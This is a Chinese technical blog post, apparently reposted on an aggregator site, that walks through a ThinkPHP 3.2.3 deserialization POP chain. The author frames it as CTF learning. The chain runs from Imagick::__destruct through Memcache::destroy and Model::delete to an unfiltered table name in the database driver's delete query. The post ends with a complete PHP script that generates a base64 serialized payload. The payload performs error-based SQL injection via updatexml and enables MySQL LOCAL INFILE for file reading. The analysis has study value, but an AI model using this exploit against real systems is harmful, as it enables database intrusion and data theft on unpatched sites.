[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

2024-01-19 14:58
文章标签 代码 序列化 thinkphp 审计 thinkphp3.2 链分析

本文主要是介绍[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

文章目录

  • Thinkphp3.2.3反序列化利用链分析
    • 分析
    • 利用链

菜鸡在做CTF的时候想深入分析一下，也就产生了这篇文章

Thinkphp3.2.3反序列化利用链分析

分析

首先我们从__destruct方法入手

其他的都是啥如ftp_close之类的没法有效利用，但是在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php找到

public function __destruct() {empty($this->img) || $this->img->destroy();}

并且参数可控，搜索destroy方法，也是基本上没啥其他点直接只有一个在ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

中，找到了

public function destroy($sessID) {return $this->handle->delete($this->sessionName.$sessID);}

这里其实版本利用有限制，在在PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理，从而报错，网上看到的当时排bug排了很久都没发现，最后切换php5,$this->handle也可控

继续全局搜索后发现在ThinkPHP/Mode/Lite/Model.class.php中

public function delete($options=array()) {$pk   =  $this->getPk();if(empty($options) && empty($this->options['where'])) {// 如果删除条件为空 则删除当前数据对象所对应的记录if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;}if(is_numeric($options)  || is_string($options)) {// 根据主键删除记录if(strpos($options,',')) {$where[$pk]     =  array('IN', $options);}else{$where[$pk]     =  $options;}$options            =  array();$options['where']   =  $where;}// 根据复合主键删除记录if (is_array($options) && (count($options) > 0) && is_array($pk)) {$count = 0;foreach (array_keys($options) as $key) {if (is_int($key)) $count++; } if ($count == count($pk)) {$i = 0;foreach ($pk as $field) {$where[$field] = $options[$i];unset($options[$i++]);}$options['where']  =  $where;} else {return false;}}// 分析表达式$options =  $this->_parseOptions($options);if(empty($options['where'])){// 如果条件为空 不进行删除操作 除非设置 1=1return false;}        if(is_array($options['where']) && isset($options['where'][$pk])){$pkValue            =  $options['where'][$pk];}if(false === $this->_before_delete($options)) {return false;}        $result  =    $this->db->delete($options);if(false !== $result && is_numeric($result)) {$data = array();if(isset($pkValue)) $data[$pk]   =  $pkValue;$this->_after_delete($data,$options);}// 返回删除记录个数return $result;}

代码看多了一看就懂了，首先getPk获取主键，之后我们的利用是想进入if中执行delete方法，

if(empty($options) && empty($this->options['where'])) {// 如果删除条件为空 则删除当前数据对象所对应的记录if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;}

根据调试，这里会去调用到数据库驱动类中的delete()中去，而不是当前文件当中的delete()方法，即ThinkPHP/Library/Think/Db/Driver.class.php

public function delete($options=array()) {$this->model  =   $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$table  =   $this->parseTable($options['table']);$sql    =   'DELETE FROM '.$table;if(strpos($table,',')){// 多表删除支持USING和JOIN操作if(!empty($options['using'])){$sql .= ' USING '.$this->parseTable($options['using']).' ';}$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');}$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');if(!strpos($table,',')){// 单表删除支持order和limit$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:'');}$sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);}

我们可以发现在这里的table没有过滤直接拼接了，不信的话我们可以分析分析，首先调用parseTable

    protected function parseTable($tables) {if(is_array($tables)) {// 支持别名定义$array   =  array();foreach ($tables as $table=>$alias){if(!is_numeric($table))$array[] =  $this->parseKey($table).' '.$this->parseKey($alias);else$array[] =  $this->parseKey($alias);}$tables  =  $array;}elseif(is_string($tables)){$tables  =  explode(',',$tables);array_walk($tables, array(&$this, 'parseKey'));}return implode(',',$tables);}

他会对其中的数据执行parseKey方法，这个方法直接返回数据无其他处理

protected function parseKey(&$key) {return $key;
}

因此便得到了完整的pop链思路，接下来就是构造

首先是__destruct,我们需要调用Memcache的destroy方法

class Imagick{private $img;public function __construct(){$this->img = new Memcache();}}

接下来$this->handle指向Model类去调用delete方法，并精心构造我们的sql语句

class Model{protected $options   = array();protected $pk;protected $data = array();protected $db = null;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "username where 1=updatexml(1,user(),1)#","where" => "1=1");}}

注意我们需要去初始化数据库的连接，这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql，发现继承了Driver类，

跟进一看，能得到这里建立了PDO配置建立数据库连接

因此我们只需要在Mysql下配置好数据库配置即可

class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件);protected $config = array("debug"    => 1,"database" => "test","hostname" => "127.0.0.1","hostport" => "3306","charset"  => "utf8","username" => "testtest","password" => "testtest");}

最终我们得到了完整的利用链

利用链

<?php
namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件);protected $config = array("debug"    => 1,"database" => "thinkphp3","hostname" => "127.0.0.1","hostport" => "3306","charset"  => "utf8","username" => "root","password" => "");}
}namespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img;public function __construct(){$this->img = new Memcache();}}
}namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle;public function __construct(){$this->handle = new Model();}}
}namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options   = array();protected $pk;protected $data = array();protected $db = null;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "mysql.user where 1=updatexml(1,user(),1)#","where" => "1=1");}}
}namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

这篇关于[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/622787。

相关文章

活用c4d官方开发文档查询代码

活用c4d官方开发文档查询代码

当你问AI助手比如豆包，如何用python禁止掉xpresso标签时候，它会提示到 这时候要用到两个东西。https://developers.maxon.net/论坛搜索和开发文档 比如这里我就在官方找到正确的id描述 然后我就把参数标签换过来
阅读更多...
poj 1258 Agri-Net（最小生成树模板代码）

poj 1258 Agri-Net（最小生成树模板代码）

感觉用这题来当模板更适合。 题意就是给你邻接矩阵求最小生成树啦。~ prim代码：效率很高。172k...0ms。 #include<stdio.h>#include<algorithm>using namespace std;const int MaxN = 101;const int INF = 0x3f3f3f3f;int g[MaxN][MaxN];int n
阅读更多...
计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

🍊作者：计算机编程-吉哥 🍊简介：专业从事JavaWeb程序开发，微信小程序开发，定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事，生活就是快乐的。 🍊心愿：点赞 👍 收藏 ⭐评论 📝 🍅 文末获取源码联系 👇🏻 精彩专栏推荐订阅 👇🏻 不然下次找不到哟~Java毕业设计项目~热门选题推荐《1000套》 目录 1.技术选型 2.开发工具 3.功能
阅读更多...
代码随想录冲冲冲 Day39 动态规划Part7

代码随想录冲冲冲 Day39 动态规划Part7

198. 打家劫舍 dp数组的意义是在第i位的时候偷的最大钱数是多少 如果nums的size为0 总价值当然就是0 如果nums的size为1 总价值是nums[0] 遍历顺序就是从小到大遍历 之后是递推公式 对于dp[i]的最大价值来说有两种可能 1.偷第i个 那么最大价值就是dp[i-2]+nums[i] 2.不偷第i个 那么价值就是dp[i-1] 之后取这两个的最大值就是d
阅读更多...
pip-tools：打造可重复、可控的 Python 开发环境，解决依赖关系，让代码更稳定

pip-tools：打造可重复、可控的 Python 开发环境，解决依赖关系，让代码更稳定

在 Python 开发中，管理依赖关系是一项繁琐且容易出错的任务。手动更新依赖版本、处理冲突、确保一致性等等，都可能让开发者感到头疼。而 pip-tools 为开发者提供了一套稳定可靠的解决方案。 什么是 pip-tools？ pip-tools 是一组命令行工具，旨在简化 Python 依赖关系的管理，确保项目环境的稳定性和可重复性。它主要包含两个核心工具：pip-compile 和 pip
阅读更多...
D4代码AC集

D4代码AC集

贪心问题解决的步骤： （局部贪心能导致全局贪心）    1.确定贪心策略    2.验证贪心策略是否正确 排队接水 #include<bits/stdc++.h>using namespace std;int main(){int w,n,a[32000];cin>>w>>n;for(int i=1;i<=n;i++){cin>>a[i];}sort(a+1,a+n+1);int i=1
阅读更多...
html css jquery选项卡 代码练习小项目

html css jquery选项卡 代码练习小项目

在学习 html 和 css jquery 结合使用的时候 做好是能尝试做一些简单的小功能，来提高自己的 逻辑能力，熟悉代码的编写语法 下面分享一段代码 使用html css jquery选项卡 代码练习 <div class="box"><dl class="tab"><dd class="active">手机</dd><dd>家电</dd><dd>服装</dd><dd>数码</dd><dd
阅读更多...
生信代码入门：从零开始掌握生物信息学编程技能

生信代码入门：从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域，结合了生物学、计算机科学和统计学。随着高通量测序技术的发展，海量的生物数据需要通过编程来进行处理和分析。因此，掌握生信编程技能，成为每一个生物信息学研究者的必备能力。 生信代码入门，旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用
阅读更多...
husky 工具配置代码检查工作流：提交代码至仓库前做代码检查

husky 工具配置代码检查工作流：提交代码至仓库前做代码检查

提示：这篇博客以我前两篇博客作为先修知识，请大家先去看看我前两篇博客 博客指路：前端 ESlint 代码规范及修复代码规范错误-CSDN博客前端 Vue3 项目开发—— ESLint & prettier 配置代码风格-CSDN博客 husky 工具配置代码检查工作流的作用 在工作中，我们经常需要将写好的代码提交至代码仓库 但是由于程序员疏忽而将不规范的代码提交至仓库，显然是不合理的 所
阅读更多...
Unity3D自带Mouse Look鼠标视角代码解析。

Unity3D自带Mouse Look鼠标视角代码解析。

Unity3D自带Mouse Look鼠标视角代码解析。 代码块 代码块语法遵循标准markdown代码，例如： using UnityEngine;using System.Collections;/// MouseLook rotates the transform based on the mouse delta./// Minimum and Maximum values can
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2